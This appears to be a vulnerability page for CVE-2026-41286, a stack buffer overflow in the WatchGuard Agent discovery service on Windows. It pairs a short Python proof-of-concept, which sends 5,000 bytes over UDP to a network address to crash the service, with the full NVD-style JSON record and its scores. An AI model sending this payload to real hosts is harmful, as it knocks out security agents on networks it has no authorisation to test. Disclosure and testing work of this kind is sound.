CVE-2026-41286

import socket # Target configuration target_ip = "192.168.1.100" target_port = 4117 # Example discovery port, verify actual port # Generate a large payload to trigger the stack overflow # Adjust length based on specific service buffer limits payload = b"A" * 5000 try: print(f"[*] Sending payload to {target_ip}:{target_port}...") # Use UDP or TCP based on service protocol, assuming UDP for discovery s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(payload, (target_ip, target_port)) print("[+] Payload sent successfully. Check if the service crashed.") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-41286", "sourceIdentifier": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "published": "2026-05-06T16:16:09.950", "lastModified": "2026-05-11T18:36:16.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based Buffer Overflow vulnerability in the WatchGuard Agent discovery service on Windows allows Overflow Buffers. An unauthenticated attacker on the same local network could exploit this vulnerability to crash the agent service."}], "metrics": {"cvssMetricV40": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:watchguard:agent:*:*:*:*:*:windows:*:*", "versionEndExcluding": "1.25.03.0000", "matchCriteriaId": "1D391721-7499-4701-A84D-C58CD093CCB0"}]}]}], "references": [{"url": "https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2026-00011", "source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "tags": ["Vendor Advisory"]}]}}